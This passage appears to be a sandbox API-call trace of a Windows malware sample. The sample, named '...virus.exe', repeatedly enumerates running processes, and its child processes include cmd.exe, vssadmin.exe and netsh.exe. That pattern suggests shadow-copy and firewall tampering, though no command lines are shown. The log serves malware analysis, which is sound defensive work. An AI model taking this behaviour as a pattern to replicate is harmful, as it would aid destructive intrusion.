lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0237.747] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0237.747] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.748] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0237.748] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0237.748] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0237.749] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0237.749] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0237.749] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0237.750] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0237.750] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0237.750] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0237.751] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0237.751] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.751] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0237.751] CloseHandle (hObject=0x1a8) returned 1 [0237.752] Sleep (dwMilliseconds=0x1f4) [0238.252] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0238.255] Process32FirstW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.255] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0238.255] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0238.256] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.256] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0238.257] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.257] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0238.258] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0238.258] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0238.258] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0238.259] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.259] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.260] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.260] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.260] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.261] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0238.261] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.262] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.262] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0238.263] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0238.263] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0238.263] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0238.264] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.264] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0238.265] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0238.265] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0238.266] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0238.266] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0238.266] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0238.267] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0238.267] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0238.268] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0238.268] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0238.269] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.269] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0238.270] CloseHandle (hObject=0x1a8) returned 1 [0238.270] Sleep (dwMilliseconds=0x1f4) [0238.783] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bc [0238.785] Process32FirstW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.785] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0238.785] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0238.786] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.786] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0238.786] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.787] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0238.787] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0238.787] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0238.788] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0238.788] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.788] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.790] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.790] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.790] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.791] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0238.791] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.791] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.792] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0238.792] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0238.792] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0238.793] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0238.793] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.793] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0238.794] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0238.794] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0238.794] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0238.795] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0238.795] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0238.795] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0238.796] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0238.796] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, 